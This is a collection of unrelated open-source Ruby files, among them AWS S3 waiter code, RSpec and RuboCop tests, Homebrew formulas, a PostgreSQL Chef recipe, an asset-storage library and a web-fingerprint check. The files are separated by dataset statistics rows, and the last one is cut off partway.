# configuration as the final arguments hash.
#
# # poll for ~25 seconds
# client.wait_until(waiter_name, params, {
# max_attempts: 5,
# delay: 5,
# })
#
# ## Callbacks
#
# You can be notified before each polling attempt and before each
# delay. If you throw `:success` or `:failure` from these callbacks,
# it will terminate the waiter.
#
# started_at = Time.now
# client.wait_until(waiter_name, params, {
#
# # disable max attempts
# max_attempts: nil,
#
# # poll for 1 hour, instead of a number of attempts
# before_wait: -> (attempts, response) do
# throw :failure if Time.now - started_at > 3600
# end
# })
#
# ## Handling Errors
#
# When a waiter is unsuccessful, it will raise an error.
# All of the failure errors extend from
# {Aws::Waiters::Errors::WaiterFailed}.
#
# begin
# client.wait_until(...)
# rescue Aws::Waiters::Errors::WaiterFailed
# # resource did not enter the desired state in time
# end
#
# ## Valid Waiters
#
# The following table lists the valid waiter names, the operations they call,
# and the default `:delay` and `:max_attempts` values.
#
# | waiter_name | params | :delay | :max_attempts |
# | ----------------- | -------------------- | -------- | ------------- |
# | bucket_exists | {Client#head_bucket} | 5 | 20 |
# | bucket_not_exists | {Client#head_bucket} | 5 | 20 |
# | object_exists | {Client#head_object} | 5 | 20 |
# | object_not_exists | {Client#head_object} | 5 | 20 |
#
# @raise [Errors::FailureStateError] Raised when the waiter terminates
# because the waiter has entered a state that it will not transition
# out of, preventing success.
#
# @raise [Errors::TooManyAttemptsError] Raised when the configured
# maximum number of attempts have been made, and the waiter is not
# yet successful.
#
# @raise [Errors::UnexpectedError] Raised when an error is encounted
# while polling for a resource that is not expected.
#
# @raise [Errors::NoSuchWaiterError] Raised when you request to wait
# for an unknown state.
#
# @return [Boolean] Returns `true` if the waiter was successful.
# @param [Symbol] waiter_name
# @param [Hash] params ({})
# @param [Hash] options ({})
# @option options [Integer] :max_attempts
# @option options [Integer] :delay
# @option options [Proc] :before_attempt
# @option options [Proc] :before_wait
def wait_until(waiter_name, params = {}, options = {})
w = waiter(waiter_name, options)
yield(w.waiter) if block_given? # deprecated
w.wait(params)
end
# @api private
# @deprecated
def waiter_names
waiters.keys
end
private
# @param [Symbol] waiter_name
# @param [Hash] options ({})
def waiter(waiter_name, options = {})
waiter_class = waiters[waiter_name]
if waiter_class
waiter_class.new(options.merge(client: self))
else
raise Aws::Waiters::Errors::NoSuchWaiterError.new(waiter_name, waiters.keys)
end
end
def waiters
{
bucket_exists: Waiters::BucketExists,
bucket_not_exists: Waiters::BucketNotExists,
object_exists: Waiters::ObjectExists,
object_not_exists: Waiters::ObjectNotExists
}
end
class << self
# @api private
attr_reader :identifier
# @api private
def errors_module
Errors
end
end
end
end
| 42.873445 | 612 | 0.652143 |
e8af9c66ae43150885ce1c151aa110067f5391ae | 7,006 | # frozen_string_literal: true
require 'rails_helper'
RSpec.feature 'Administrator Reports' do
given(:user) { create :subject }
describe 'when subject is administrator' do
%w[identity_providers
service_providers organizations
rapid_connect_services services].each do |identifier|
%w[monthly quarterly yearly].each do |interval|
given!("auto_report_#{identifier}_#{interval}".to_sym) do
create :automated_report,
interval: interval,
target: identifier,
report_class: 'SubscriberRegistrationsReport'
end
end
end
background do
entitlements = ['urn:mace:aaf.edu.au:ide:internal:aaf-admin']
admins = Rails.application.config.reporting_service.admins
admins[user.shared_token.to_sym] = entitlements
attrs = create(:aaf_attributes, :from_subject, subject: user)
RapidRack::TestAuthenticator.jwt = create(:jwt, aaf_attributes: attrs)
visit '/auth/login'
click_button 'Login'
visit '/admin_reports'
end
scenario 'viewing the Administrator Reports Dashboard' do
expect(current_path).to eq('/admin_reports')
expect(page).to have_css('.list-group')
end
context 'Subscriber Registrations' do
given(:identifiers) do
%w[organizations identity_providers service_providers
rapid_connect_services services]
end
scenario 'viewing Report' do
message1 = 'You have successfully subscribed to this report'
message2 = 'You have already subscribed to this report'
click_link 'Subscriber Registrations Report'
%w[Monthly Quarterly Yearly].each do |interval|
identifiers.each do |identifier|
select(identifier.titleize, from: 'Subscriber Identifiers')
click_button('Generate')
expect(page).to have_css('table.subscriber-registrations')
click_button('Subscribe')
click_link(interval)
expect(page).to have_selector('p', text: message1)
select(identifier.titleize, from: 'Subscriber Identifiers')
click_button('Generate')
expect(page).to have_css('table.subscriber-registrations')
click_button('Subscribe')
click_link(interval)
expect(page).to have_selector('p', text: message2)
expect(current_path)
.to eq('/admin_reports/subscriber_registrations_report')
end
end
end
end
context 'Federation Growth Report' do
scenario 'viewing Report' do
click_link 'Federation Growth Report'
page.execute_script("$('input').removeAttr('readonly')")
fill_in 'start', with: Time.now.utc.beginning_of_month - 1.month
fill_in 'end', with: Time.now.utc.beginning_of_month
# HACK: Works around an overlapping element that affects this test.
find('button', text: 'Generate').trigger('click')
expect(current_path)
.to eq('/admin_reports/federation_growth_report')
expect(page).to have_css('svg.federation-growth')
end
end
shared_examples 'Daily Demand Report' do
scenario 'viewing Report' do
click_link 'Daily Demand Report'
page.execute_script("$('input').removeAttr('readonly')")
fill_in 'start', with: Time.now.utc.beginning_of_month - 1.month
fill_in 'end', with: Time.now.utc.beginning_of_month
select data_source_name, from: 'source'
click_button('Generate')
expect(current_path)
.to eq('/admin_reports/daily_demand_report')
expect(page).to have_css('svg.daily-demand')
expect(page).to have_content("(#{data_source_name})")
end
end
shared_examples 'Federated Sessions Report' do
scenario 'viewing Report' do
click_link 'Federated Sessions Report'
page.execute_script("$('input').removeAttr('readonly')")
fill_in 'start', with: Time.now.utc.beginning_of_month - 1.month
fill_in 'end', with: Time.now.utc.beginning_of_month
select data_source_name, from: 'source'
click_button('Generate')
expect(current_path)
.to eq('/admin_reports/federated_sessions_report')
expect(page).to have_css('svg.federated-sessions')
expect(page).to have_content("(#{data_source_name})")
end
end
shared_examples 'Identity Provider Utilization Report' do
scenario 'viewing Report' do
click_link 'Identity Provider Utilization Report'
page.execute_script("$('input').removeAttr('readonly')")
fill_in 'start', with: Time.now.utc.beginning_of_month - 1.month
fill_in 'end', with: Time.now.utc.beginning_of_month
select data_source_name, from: 'source'
click_button('Generate')
expect(current_path)
.to eq('/admin_reports/identity_provider_utilization_report')
expect(page).to have_css('table.identity-provider-utilization')
# Tabular reports do not render report title - see #178
# So instead just confirm the report-data JSON contains the title.
report_data = page.evaluate_script(
'document.getElementsByClassName("report-data")[0].innerHTML'
)
expect(report_data).to have_text("(#{data_source_name})")
end
end
shared_examples 'Service Provider Utilization Report' do
scenario 'viewing Report' do
click_link 'Service Provider Utilization Report'
page.execute_script("$('input').removeAttr('readonly')")
fill_in 'start', with: Time.now.utc.beginning_of_month - 1.month
fill_in 'end', with: Time.now.utc.beginning_of_month
select data_source_name, from: 'source'
click_button('Generate')
expect(current_path)
.to eq('/admin_reports/service_provider_utilization_report')
expect(page).to have_css('table.service-provider-utilization')
# Tabular reports do not render report title - see #178
# So instead just confirm the report-data JSON contains the title.
report_data = page.evaluate_script(
'document.getElementsByClassName("report-data")[0].innerHTML'
)
expect(report_data).to have_text("(#{data_source_name})")
end
end
context 'selecting DS session data source' do
let(:data_source_name) { 'Discovery Service' }
it_behaves_like 'Daily Demand Report'
it_behaves_like 'Federated Sessions Report'
it_behaves_like 'Identity Provider Utilization Report'
it_behaves_like 'Service Provider Utilization Report'
end
context 'selecting IdP session data source' do
let(:data_source_name) { 'IdP Event Log' }
it_behaves_like 'Daily Demand Report'
it_behaves_like 'Federated Sessions Report'
it_behaves_like 'Identity Provider Utilization Report'
it_behaves_like 'Service Provider Utilization Report'
end
end
end
| 35.383838 | 76 | 0.666857 |
ffe0962f5c0630b7f486af681b908ff31b8d539e | 110 | class Tag < ActiveRecord::Base
has_many :question_tags
has_many :questions, :through => :question_tags
end | 13.75 | 47 | 0.772727 |
03c3bdaeea183d8aba725681d2eb89017354318c | 6,371 | # frozen_string_literal: true
RSpec.describe RuboCop::Cop::Naming::HeredocDelimiterCase, :config do
subject(:cop) { described_class.new(config) }
let(:config) do
RuboCop::Config.new(described_class.badge.to_s => cop_config)
end
context 'when enforced style is uppercase' do
let(:cop_config) do
{
'SupportedStyles' => %w[uppercase lowercase],
'EnforcedStyle' => 'uppercase'
}
end
context 'with an interpolated heredoc' do
it 'registers an offense with a lowercase delimiter' do
expect_offense(<<~RUBY)
<<-sql
foo
sql
^^^ Use uppercase heredoc delimiters.
RUBY
end
it 'registers an offense with a camel case delimiter' do
expect_offense(<<~RUBY)
<<-Sql
foo
Sql
^^^ Use uppercase heredoc delimiters.
RUBY
end
it 'does not register an offense with an uppercase delimiter' do
expect_no_offenses(<<~RUBY)
<<-SQL
foo
SQL
RUBY
end
end
context 'with a non-interpolated heredoc' do
context 'when using single quoted delimiters' do
it 'registers an offense with a lowercase delimiter' do
expect_offense(<<~RUBY)
<<-'sql'
foo
sql
^^^ Use uppercase heredoc delimiters.
RUBY
end
it 'registers an offense with a camel case delimiter' do
expect_offense(<<~RUBY)
<<-'Sql'
foo
Sql
^^^ Use uppercase heredoc delimiters.
RUBY
end
it 'does not register an offense with an uppercase delimiter' do
expect_no_offenses(<<~RUBY)
<<-'SQL'
foo
SQL
RUBY
end
end
context 'when using double quoted delimiters' do
it 'registers an offense with a lowercase delimiter' do
expect_offense(<<~RUBY)
<<-"sql"
foo
sql
^^^ Use uppercase heredoc delimiters.
RUBY
end
it 'registers an offense with a camel case delimiter' do
expect_offense(<<~RUBY)
<<-"Sql"
foo
Sql
^^^ Use uppercase heredoc delimiters.
RUBY
end
it 'does not register an offense with an uppercase delimiter' do
expect_no_offenses(<<~RUBY)
<<-"SQL"
foo
SQL
RUBY
end
end
context 'when using back tick delimiters' do
it 'registers an offense with a lowercase delimiter' do
expect_offense(<<~RUBY)
<<-`sql`
foo
sql
^^^ Use uppercase heredoc delimiters.
RUBY
end
it 'registers an offense with a camel case delimiter' do
expect_offense(<<~RUBY)
<<-`Sql`
foo
Sql
^^^ Use uppercase heredoc delimiters.
RUBY
end
it 'does not register an offense with an uppercase delimiter' do
expect_no_offenses(<<~RUBY)
<<-`SQL`
foo
SQL
RUBY
end
end
context 'when using non-word delimiters' do
it 'does not register an offense' do
expect_no_offenses(<<~RUBY)
<<-'+'
foo
+
RUBY
end
end
end
context 'with a squiggly heredoc' do
it 'registers an offense with a lowercase delimiter' do
expect_offense(<<~RUBY)
<<~sql
foo
sql
^^^ Use uppercase heredoc delimiters.
RUBY
end
it 'registers an offense with a camel case delimiter' do
expect_offense(<<~RUBY)
<<~Sql
foo
Sql
^^^ Use uppercase heredoc delimiters.
RUBY
end
it 'does not register an offense with an uppercase delimiter' do
expect_no_offenses(<<~RUBY)
<<~SQL
foo
SQL
RUBY
end
end
end
context 'when enforced style is lowercase' do
let(:cop_config) do
{
'SupportedStyles' => %w[uppercase lowercase],
'EnforcedStyle' => 'lowercase'
}
end
context 'with an interpolated heredoc' do
it 'does not register an offense with a lowercase delimiter' do
expect_no_offenses(<<~RUBY)
<<-sql
foo
sql
RUBY
end
it 'registers an offense with a camel case delimiter' do
expect_offense(<<~RUBY)
<<-Sql
foo
Sql
^^^ Use lowercase heredoc delimiters.
RUBY
end
it 'registers an offense with an uppercase delimiter' do
expect_offense(<<~RUBY)
<<-SQL
foo
SQL
^^^ Use lowercase heredoc delimiters.
RUBY
end
end
context 'with a non-interpolated heredoc' do
it 'does not register an offense with a lowercase delimiter' do
expect_no_offenses(<<~RUBY)
<<-'sql'
foo
sql
RUBY
end
it 'registers an offense with a camel case delimiter' do
expect_offense(<<~RUBY)
<<-'Sql'
foo
Sql
^^^ Use lowercase heredoc delimiters.
RUBY
end
it 'registers an offense with an uppercase delimiter' do
expect_offense(<<~RUBY)
<<-'SQL'
foo
SQL
^^^ Use lowercase heredoc delimiters.
RUBY
end
end
context 'with a squiggly heredoc' do
it 'does not register an offense with a lowercase delimiter' do
expect_no_offenses(<<~RUBY)
<<~sql
foo
sql
RUBY
end
it 'registers an offense with a camel case delimiter' do
expect_offense(<<~RUBY)
<<~Sql
foo
Sql
^^^ Use lowercase heredoc delimiters.
RUBY
end
it 'registers an offense with an uppercase delimiter' do
expect_offense(<<~RUBY)
<<~SQL
foo
SQL
^^^ Use lowercase heredoc delimiters.
RUBY
end
end
end
end
| 24.132576 | 72 | 0.517658 |
4aaf78822b2a100e4a08c8ac841c3d4885858713 | 1,219 | class Vpcs < Formula
desc "Virtual PC simulator for testing IP routing"
homepage "https://vpcs.sourceforge.io/"
url "https://downloads.sourceforge.net/project/vpcs/0.8/vpcs-0.8-src.tbz"
sha256 "dca602d0571ba852c916632c4c0060aa9557dd744059c0f7368860cfa8b3c993"
license "BSD-2-Clause"
livecheck do
url :stable
end
bottle do
cellar :any_skip_relocation
sha256 "75d81877dc7c7e8a07b5a1496e1264ac19fd8206f5dcc24de835931a0d1501eb" => :big_sur
sha256 "180a02cc1bb06bb9e5f441688d6b1a51e5c531cd6dea68399aba55f3c5691dd9" => :catalina
sha256 "5728bc8e33f81a307c74fe625305c42363a493ff1dc612d604feec971374385d" => :mojave
sha256 "ac52b231d875679e7bd4da3a09c6b5bc833e5b93fe5a77749dc834b1d82d21d5" => :high_sierra
sha256 "78c7e415e9bcbdf28cfdda5d37fce9cc7d735b01d61400b41239e0cdee17ada5" => :sierra
sha256 "0f1a65e672fd1d2dbc866279835231ec3737e64c514f38a08bf409807e910222" => :el_capitan
sha256 "8fbfdc99c4e42b01c655d68cd2fc0a7a23ecd9b9d2df6a7e414e00498ba38c5c" => :x86_64_linux
end
def install
cd "src" do
system "make", "-f", "Makefile.#{OS.mac? ? "osx" : "linux"}"
bin.install "vpcs"
end
end
test do
system "#{bin}/vpcs", "--version"
end
end
| 35.852941 | 94 | 0.771124 |
e23db0ad7b5dfd5d503cb69caedf9c0b84cc1be5 | 1,836 | require_relative '../environment'
class DefaultScopesTest < ActiveSupport::TestCase
def test_node_excluded_by_default_scope_should_still_move_with_parent
AncestryTestDatabase.with_model(
:width => 3, :depth => 3, :extra_columns => {:deleted_at => :datetime},
:default_scope_params => {:deleted_at => nil}
) do |model, roots|
roots = model.roots.to_a
grandparent = roots[0]
new_grandparent = roots[1]
parent = grandparent.children.first
child = parent.children.first
child.update_attributes :deleted_at => Time.now
parent.update_attributes :parent => new_grandparent
child.update_attributes :deleted_at => nil
assert child.reload.ancestors.include? new_grandparent
end
end
def test_node_excluded_by_default_scope_should_be_destroyed_with_parent
AncestryTestDatabase.with_model(
:width => 1, :depth => 2, :extra_columns => {:deleted_at => :datetime},
:default_scope_params => {:deleted_at => nil},
:orphan_strategy => :destroy
) do |model, roots|
parent = model.roots.first
child = parent.children.first
child.update_attributes :deleted_at => Time.now
parent.destroy
child.update_attributes :deleted_at => nil
assert model.count.zero?
end
end
def test_node_excluded_by_default_scope_should_be_rootified
AncestryTestDatabase.with_model(
:width => 1, :depth => 2, :extra_columns => {:deleted_at => :datetime},
:default_scope_params => {:deleted_at => nil},
:orphan_strategy => :rootify
) do |model, roots|
parent = model.roots.first
child = parent.children.first
child.update_attributes :deleted_at => Time.now
parent.destroy
child.update_attributes :deleted_at => nil
assert child.reload.is_root?
end
end
end | 32.785714 | 77 | 0.691721 |
f8c9dd550256bd7ac5448a5ddbfcbdd2593f1de1 | 2,401 | #/postgresql.conf.
# Cookbook Name:: postgresql
# Recipe:: server
#
# Author:: Joshua Timberman (<[email protected]>)
# Author:: Lamont Granquist (<[email protected]>)
# Copyright 2009-2011, Opscode, Inc.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
::Chef::Recipe.send(:include, Opscode::OpenSSL::Password)
include_recipe "postgresql::client"
# randomly generate postgres password
node.set_unless[:postgresql][:password][:postgres] = secure_password
node.save unless Chef::Config[:solo]
case node[:postgresql][:version]
when "8.3"
node.default[:postgresql][:ssl] = "off"
when "8.4"
node.default[:postgresql][:ssl] = "true"
end
# Include the right "family" recipe for installing the server
# since they do things slightly differently.
case node.platform
when "redhat", "centos", "fedora", "suse", "scientific", "amazon"
include_recipe "postgresql::server_redhat"
when "debian", "ubuntu"
include_recipe "postgresql::server_debian"
end
template "#{node[:postgresql][:dir]}/pg_hba.conf" do
source "pg_hba.conf.erb"
owner "postgres"
group "postgres"
mode 0600
notifies :reload, resources(:service => "postgresql"), :immediately
end
# Default PostgreSQL install has 'ident' checking on unix user 'postgres'
# and 'md5' password checking with connections from 'localhost'. This script
# runs as user 'postgres', so we can execute the 'role' and 'database' resources
# as 'root' later on, passing the below credentials in the PG client.
bash "assign-postgres-password" do
user 'postgres'
code <<-EOH
echo "ALTER ROLE postgres ENCRYPTED PASSWORD '#{node[:postgresql][:password][:postgres]}';" | psql
EOH
not_if do
begin
require 'rubygems'
Gem.clear_paths
require 'pg'
conn = PGconn.connect("localhost", 5432, nil, nil, nil, "postgres", node['postgresql']['password']['postgres'])
rescue PGError
false
end
end
action :run
end
| 32.013333 | 117 | 0.725948 |
6a6e8b603e800548dda27300b3aae9cf5f5bb7f2 | 1,396 | require 'test_helper'
module Sources
class TwitPicTest < ActiveSupport::TestCase
context "normalizing for source" do
should "normalize d3j5vwomefv46c.cloudfront.net links" do
source = "http://d3j5vwomefv46c.cloudfront.net/photos/large/820960031.jpg?1384107199"
assert_equal("https://twitpic.com/dks0tb", Sources::Strategies.normalize_source(source))
end
should "normalize dn3pm25xmtlyu.cloudfront.net links" do
source = "https://dn3pm25xmtlyu.cloudfront.net/photos/large/839006715.jpg?Expires=1646850828&Signature=d60CmLlmNqZJvOTteTOan13QWZ8gY3C4rUWCkh-IUoRr012vYtUYtip74GslGwCG0dxV5mpUpVFkaVZf16PiY7CsTdpAlA8Pmu2tN98D2dmC5FuW9KhhygDv6eFC8faoaGEyj~ArLuwz-8lC6Y05TVf0FgweeWwsRxFOfD5JHgCeIB0iZqzUx1t~eb6UMAWvbaKpfgvcp2oaDuCdZlMNi9T5OUBFoTh2DfnGy8t5COys1nOYYfZ9l69TDvVb2PKBaV8lsKK9xMwjoJNaWa1HL5S4MgODS5hiNDvycoBpu9KUvQ7q~rhC8cV6ZNctB5H9u~MmvBPoTKfy4w37cSc5uw__&Key-Pair-Id=APKAJROXZ7FN26MABHYA"
assert_equal("https://twitpic.com/dvitq3", Sources::Strategies.normalize_source(source))
end
should "normalize o.twimg.com links" do
source = "https://o.twimg.com/2/proxy.jpg?t=HBgpaHR0cHM6Ly90d2l0cGljLmNvbS9zaG93L2xhcmdlL2R0bnVydS5qcGcUsAkU0ggAFgASAA&s=dnN4DHCdnojC-iCJWdvZ-UZinrlWqAP7k7lmll2fTxs"
assert_equal("https://twitpic.com/dtnuru", Sources::Strategies.normalize_source(source))
end
end
end
end
| 60.695652 | 489 | 0.808023 |
f8a51013793455ef7ad1300a75e45ac8d2046425 | 1,155 | lib = File.expand_path("lib", __dir__)
$LOAD_PATH.unshift(lib) unless $LOAD_PATH.include?(lib)
require 'fastlane/plugin/appcenter/version'
Gem::Specification.new do |spec|
spec.name = 'fastlane-plugin-appcenter'
spec.version = Fastlane::Appcenter::VERSION
spec.author = 'Microsoft Corporation'
spec.summary = 'Fastlane plugin for App Center'
spec.homepage = "https://github.com/microsoft/fastlane-plugin-appcenter"
spec.license = "MIT"
spec.files = Dir["lib/**/*"] + %w(README.md LICENSE)
spec.test_files = spec.files.grep(%r{^(test|spec|features)/})
spec.require_paths = ['lib']
# Don't add a dependency to fastlane or fastlane_re
# since this would cause a circular dependency
# spec.add_dependency 'your-dependency', '~> 1.0.0'
spec.add_development_dependency 'bundler'
spec.add_development_dependency 'fastlane', '>= 2.96.0'
spec.add_development_dependency 'pry'
spec.add_development_dependency 'rake'
spec.add_development_dependency 'rspec'
spec.add_development_dependency 'rspec_junit_formatter'
spec.add_development_dependency 'rubocop', '>= 0.77.0'
end
| 37.258065 | 79 | 0.71342 |
ab7419ebb8e7f0cdabf920c87fb82f2b9ae71471 | 175 | # frozen_string_literal: true
require 'fix_db_schema_conflicts/schema_dumper'
module FixDBSchemaConflicts
require 'fix_db_schema_conflicts/railtie' if defined?(Rails)
end
| 21.875 | 62 | 0.845714 |
4a9c1f717ce20cb14c09546427a1ae689a91c77e | 896 | module Bootstrap::CardHelper
def card(options = {})
options = canonicalize_options(options)
options = ensure_class(options, %w[card])
content_tag(:div, options) do
content_tag(:div, class: 'card-block') do
yield
end
end
end
def card_header(*args, &block)
bootstrap_generator(*args, 'card-header', :h5, &block)
end
def card_title(*args, &block)
bootstrap_generator(*args, 'card-title', :h5, &block)
end
def card_subtitle(*args, &block)
bootstrap_generator(*args, 'card-subtitle mb-2 text-muted', :h6, &block)
end
def card_body(*args, &block)
bootstrap_generator(*args, 'card-text', :p, &block)
end
def card_list(*args, &block)
bootstrap_generator(*args, 'list-group list-group-flush', :ul, &block)
end
def card_list_item(*args, &block)
bootstrap_generator(*args, 'list-group-item', :li, &block)
end
end
| 24.888889 | 76 | 0.665179 |
613985ecc5ad65e796430e330db0b75676ee6afe | 43 | module StoneDeploy
VERSION = "0.1.0"
end
| 10.75 | 19 | 0.697674 |
5d3e8454caba38b7671188fdd46864c992777a03 | 7,346 | require 'uri'
module AssetCloud
class IllegalPath < StandardError
end
class Base
cattr_accessor :logger
VALID_PATHS = /\A
(
(\w) #Filename can be a single letter or underscore
| #OR it is many and follows the below rules
(
(\.?[\w\[\]\(\)\-\@]) #It can start with a dot but it must have a following character
(
[\w\[\]\(\)\-\@] #You can have a letter without any following conditions
|
[\ ][\w\[\]\(\)\-\@\.] #If there is a space you need to have a normal letter afterward or a dot
|
[\/][\w\[\]\(\)\-\@] #If there is a slash you need to have a normal letter afterward
|
[\/][\.][\w\[\]\(\)\-\@] #Though a slash could be followed by a dot so long as there is a normal letter afterward
|
[\.]+[\w\[\]\(\)\-\@]+ #One or more dots must be followed by one (or more) normal letters
)* #Zero to many of these combinations.
)
)\z/x
MATCH_BUCKET = /^(\w+)(\/|$)/
attr_accessor :url, :root
class_attribute :root_bucket_class
self.root_bucket_class = 'AssetCloud::FileSystemBucket'.freeze
class_attribute :root_asset_class
self.root_asset_class = 'AssetCloud::Asset'.freeze
class_attribute :bucket_classes
self.bucket_classes = {}.freeze
class_attribute :asset_classes
self.asset_classes = {}.freeze
class_attribute :asset_extension_classes
self.asset_extension_classes = {}.freeze
def self.bucket(*args)
asset_class = if args.last.is_a? Hash
convert_to_class_name_if_possible(args.pop[:asset_class])
end
bucket_class = if args.last.is_a? Class
convert_to_class_name_if_possible(args.pop)
else
raise ArgumentError, 'requires a bucket class'
end
if bucket_name = args.first
self.bucket_classes = bucket_classes.merge(bucket_name.to_sym => bucket_class).freeze
self.asset_classes = asset_classes.merge(bucket_name.to_sym => asset_class).freeze if asset_class
else
self.root_bucket_class = bucket_class
if asset_class
raise ArgumentError, 'asset_class on the root bucket cannot be a proc' if asset_class.is_a?(Proc)
self.root_asset_class = asset_class
end
end
end
def self.asset_extensions(*args)
opts = args.last.is_a?(Hash) ? args.pop.slice(:only, :except) : {}
opts.each do |k,v|
opts[k] = [v].flatten.map(&:to_sym)
end
args.each do |klass|
klass = convert_to_class_name_if_possible(klass)
self.asset_extension_classes = asset_extension_classes.merge(klass => opts).freeze
end
end
def buckets
@buckets ||= Hash.new do |hash, key|
if klass = self.class.bucket_classes[key]
hash[key] = constantize_if_necessary(klass).new(self, key)
else
hash[key] = nil
end
end
end
def initialize(root, url = '/')
@root, @url = root, url
end
def url_for(key, options={})
File.join(@url, URI.encode(key))
end
def path_for(key)
File.join(path, key)
end
def path
root
end
def find(key)
asset = asset_at(key)
asset.value
asset
end
def asset_at(*args)
asset_class_for(args.first).at(self, *args)
end
def asset_at!(*args)
check_key_for_errors(args.first)
asset_at(*args)
end
def move(source, destination)
return if source == destination
object = copy(source, destination)
if object.errors.none?
asset_at(source).delete
end
object
end
def copy(source, destination)
return if source == destination
object = build(destination, read(source))
object.store
object
end
def build(key, value = nil, &block)
logger.info { " [#{self.class.name}] Building asset #{key}" } if logger
asset_class_for(key).new(self, key, value, Metadata.non_existing, &block)
end
def write(key, value)
check_key_for_errors(key)
logger.info { " [#{self.class.name}] Writing #{value.size} bytes to #{key}" } if logger
bucket_for(key).write(key, value)
end
def read(key)
logger.info { " [#{self.class.name}] Reading from #{key}" } if logger
bucket_for(key).read(key)
end
def stat(key)
logger.info { " [#{self.class.name}] Statting #{key}" } if logger
bucket_for(key).stat(key)
end
def ls(key)
logger.info { " [#{self.class.name}] Listing objects in #{key}" } if logger
bucket_for(key).ls(key)
end
def exist?(key)
if fp = stat(key)
fp.exist?
else
false
end
end
def supports?(key)
key =~ VALID_PATHS
end
def delete(key)
logger.info { " [#{self.class.name}] Deleting #{key}" } if logger
bucket_for(key).delete(key)
end
def bucket_for(key)
bucket = buckets[bucket_symbol_for_key(key)]
bucket ? bucket : root_bucket
end
def []=(key, value)
asset = self[key]
asset.value = value
asset.store
end
def [](key)
asset_at!(key)
end
# versioning
def read_version(key, version)
logger.info { " [#{self.class.name}] Reading from #{key} at version #{version}" } if logger
bucket_for(key).read_version(key, version)
end
def versions(key)
logger.info { " [#{self.class.name}] Getting all versions for #{key}" } if logger
bucket_for(key).versions(key)
end
def version_details(key)
logger.info { " [#{self.class.name}] Getting all version details for #{key}" } if logger
bucket_for(key).version_details(key)
end
def asset_class_for(key)
klass = self.class.asset_classes[bucket_symbol_for_key(key)]
klass = klass.call(key) if klass.is_a?(Proc)
klass ||= self.class.root_asset_class
constantize_if_necessary(klass)
end
def asset_extension_classes_for_bucket(bucket)
bucket = bucket.to_sym
extensions = self.class.asset_extension_classes
klasses = extensions.keys.select do |ext|
opts = extensions[ext]
(opts.key?(:only) ? opts[:only].include?(bucket) : true) &&
(opts.key?(:except) ? !opts[:except].include?(bucket) : true)
end
klasses.map {|klass| constantize_if_necessary(klass)}
end
protected
def bucket_symbol_for_key(key)
$1.to_sym if key =~ MATCH_BUCKET
end
def root_bucket
@default_bucket ||= constantize_if_necessary(self.class.root_bucket_class).new(self, '')
end
def constantize_if_necessary(klass)
klass.is_a?(Class) ? klass : klass.constantize
end
def self.convert_to_class_name_if_possible(klass)
if klass.is_a?(Class) && klass.name.present?
klass.name
else
klass
end
end
def check_key_for_errors(key)
raise IllegalPath, "key cannot be empty" if key.blank?
raise IllegalPath, "#{key.inspect} contains illegal characters" unless supports?(key)
rescue => e
logger.info { " [#{self.class.name}] bad key #{e.message}" } if logger
raise
end
end
end
| 27.107011 | 126 | 0.605636 |
3929a84a90aba9f75bdafe4438139c38bf0e825e | 2,422 | # frozen_string_literal: true
require 'spec_helper'
describe Logux::Model do
subject(:model) do
create(
:post,
logux_fields_updated_at: {
title: initial_meta.logux_order,
content: initial_meta.logux_order
}
)
end
let(:older_update_meta) do
create(
:logux_meta,
id: Time.parse('01-11-2018 12:05').to_datetime.strftime('%Q 10:uuid 0')
)
end
let(:initial_meta) do
create(
:logux_meta,
id: Time.parse('01-11-2018 12:10').to_datetime.strftime('%Q 10:uuid 0')
)
end
let(:newer_update_meta) do
create(
:logux_meta,
id: Time.parse('01-11-2018 12:15').to_datetime.strftime('%Q 10:uuid 0')
)
end
let(:latest_update_meta) do
create(
:logux_meta,
id: Time.parse('01-11-2018 12:20').to_datetime.strftime('%Q 10:uuid 0')
)
end
describe '#update' do
it 'updates newer attribute' do
model.logux.update(newer_update_meta, content: 'newer')
expect(model.content).to eq('newer')
end
it 'keeps attribute updated later' do
model.logux.update(older_update_meta, content: 'older')
expect(model.content).to eq('initial')
end
# rubocop:disable RSpec/MultipleExpectations
it 'updates multiple fields' do
model.logux.update(latest_update_meta, content: 'latest')
expect(model).to have_attributes(title: 'initial', content: 'latest')
model.logux.update(newer_update_meta, title: 'newer', content: 'newer')
expect(model).to have_attributes(title: 'newer', content: 'latest')
end
# rubocop:enable RSpec/MultipleExpectations
end
describe '#update' do
it 'updates logux.updated_at' do
model.update(title: 'something')
title_updated_at = model.logux.updated_at(:title)
expect(title_updated_at).not_to eq(initial_meta.logux_order)
end
end
describe '#update_attribute' do
it 'updates logux.updated_at' do
model.update_attribute(:content, 'something')
content_updated_at = model.logux.updated_at(:content)
expect(content_updated_at).not_to eq(initial_meta.logux_order)
end
end
describe 'direct attribute assignment' do
it 'updates logux.updated_at' do
model.content = 'something'
model.save
content_updated_at = model.logux.updated_at(:content)
expect(content_updated_at).not_to eq(initial_meta.logux_order)
end
end
end
| 25.765957 | 77 | 0.672998 |
28a97907a5aec3ef40a5b6e19b22b35946dfc8ed | 609 | class Digdag < Formula
desc "Workload Automation System"
homepage "https://www.digdag.io/"
url "https://dl.digdag.io/digdag-0.9.19.jar"
sha256 "b8241b1be250aae9b32165c66734650d09e7348844971888cc3bca2839165dfe"
bottle :unneeded
depends_on :java => "1.8+"
def install
libexec.install "digdag-#{version}.jar" => "digdag.jar"
# Create a wrapper script to support OS X 10.9.
(bin/"digdag").write <<-EOS.undent
#!/bin/bash
exec /bin/bash "#{libexec}/digdag.jar" "$@"
EOS
end
test do
assert_match version.to_s, shell_output("#{bin}/digdag --version")
end
end
| 24.36 | 75 | 0.674877 |
3926f13b10b767ceee0aabdad8bdb1cfc81156b8 | 2,100 | module Intrigue
module Ident
module Check
class Eclipse < Intrigue::Ident::Check::Base
###
### TODO - general case handled, but needs work on a bunch of edge cases
###
def generate_checks(url)
[
{
:type => "fingerprint",
:category => "application",
:tags => ["Web Server"],
:vendor => "Eclipse",
:product =>"Jetty",
:match_details =>"server header - with update",
:version => nil,
:match_type => :content_headers,
:match_content => /^server:.*Jetty\(.*$/i,
:dynamic_version => lambda{|x|
